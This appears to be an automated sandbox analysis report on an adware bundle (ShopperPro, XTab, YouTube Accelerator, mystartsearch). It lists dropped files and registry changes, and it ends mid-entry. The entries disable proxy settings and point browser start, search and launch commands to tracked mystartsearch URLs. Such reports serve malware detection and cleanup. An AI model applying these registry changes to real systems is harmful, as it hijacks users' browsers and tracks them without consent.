C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\9D5T6QVE\1[1].zip (183114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\STab_Down_6.0.6.8.exe (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\2.zip (12998 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\422.db (272 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\BFVUpdateM.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\wpm_v20.0.0.1714_0204.exe (16424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\RegWrite.exe (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\2[1].zip (45827 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\images\min.png (1 bytes)

The process setup.exe:904 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\AccDownload.dll (11359 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE531.tmp (344291 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\MoreInfo.dll (15 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35507 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaE532.tmp\System.dll (23 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (45051 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)

The process testlsp.exe:2936 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_2936.log (1345 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_2936_testlsp.log (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_2936_testlsp.log (1438 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_2936_testlsp.log (126430 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\FU5CECH1\SMALLTEST[1].htm (70 bytes)

The process STab_Down_6.0.6.8.exe:3144 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp954835\tmp\XTab_v4.0.exe (24329 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\N713O6CR\XTab_4.0.2.1716[1].exe (205180 bytes)

The process WerFault.exe:1680 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_069d94ee\Report.wer (239510 bytes)

The process WerFault.exe:3044 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0beb316b\Report.wer (245956 bytes)

The process ShopperPro.exe:3932 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe (22786 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)

The process ins_shopperpro.exe:3484 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaDE30.tmp\setup1.exe (142646 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskDE1F.tmp (151471 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaDE30.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaDE30.tmp\setup.exe (1581404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsaDE30.tmp\NK.lky (16 bytes)

The process %original file name%.exe:2108 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nseCDE9.tmp (7262 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (79 bytes)

The process HPNotify.exe:1800 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1498 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)

The process regsvr32.exe:3612 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (503 bytes)

The process regsvr32.exe:576 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper.dll (434 bytes)

The process regsvr32.exe:2496 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper64.dll (524 bytes)

The process regsvr32.exe:2412 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (425 bytes)

The process lspinst.exe:3972 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process lspinst.exe:3640 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process YTAHEL~1.EXE:2924 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\AccDownload.dll (11671 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\jsdrv.exe (100669 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\nsProcess.dll (12 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsa79F.tmp (116682 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp7AF.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)

The process GLJD681.tmp:4044 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process DCytaiesmt_smtyc_setup.exe:472 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_20162\ins_postInst.exe (3959 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_1277\DCytaiesmt_smtyc_setup.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_20162\ins_yta.exe (29515 bytes)

The process spbiu.exe:3980 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process spbiu.exe:4036 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process XTab_v4.0.exe:4080 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (18027 bytes)
%Program Files% (x86)\XTab\conf (1606 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq1101.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1681 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5471 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process taskeng.exe:3736 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:3048 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A6.tmp (35969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A7.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A7.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A7.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A7.tmp\FF21A5D4D8C96ED7 (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A7.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A7.tmp\D1989.dll (30 bytes)

Registry activity

The process cmdshell.exe:972 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process BaofengUpdate.exe:932 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1424736264&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424736264&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424736264&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E\@""%systemroot%\system32\windowspowershell\v1.0]
"powershell.exe"",-111" = "Performs object-based (command-line) functions"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E\@""%windir%\System32]
"ie4uinit.exe"",-738" = "Start Internet Explorer without ActiveX controls or browser extensions."

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"DisplayName" = "mystartsearch uninstall"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424736264&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Mozilla\Extends]
"UID" = "267123711_198339_B48A115F"

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1424736264&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424736264&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1424736264&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.mystartsearch.com/?type=sc&ts=1424736264&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe -ptid=smtÃ§Å’â‚¬Ã†Å¸"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.mystartsearch.com/?type=sc&ts=1424736264&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.mystartsearch.com/?type=sc&ts=1424736264&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.mystartsearch.com/?type=sc&ts=1424736264&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\mystartsearchSoftware\mystartsearchhp]
"oem" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1424736264&from=smt&uid=267123711_198339_B48A115F"
"Search Page" = "http://www.mystartsearch.com/web/?type=ds&ts=1424736264&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.mystartsearch.com/?type=hp&ts=1424736264&from=smt&uid=267123711_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\mystartsearch uninstall]
"Publisher" = "mystartsearchÃªÂ´â‚¬Ã„â€™Ã†Å¸"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424736264&from=smt&uid=267123711_198339_B48A115F&q={searchTerms}"
"DisplayName" = "mystartsearch"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.mystartsearch.com/?type=hp&ts=1424736264&from=smt&uid=267123711_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
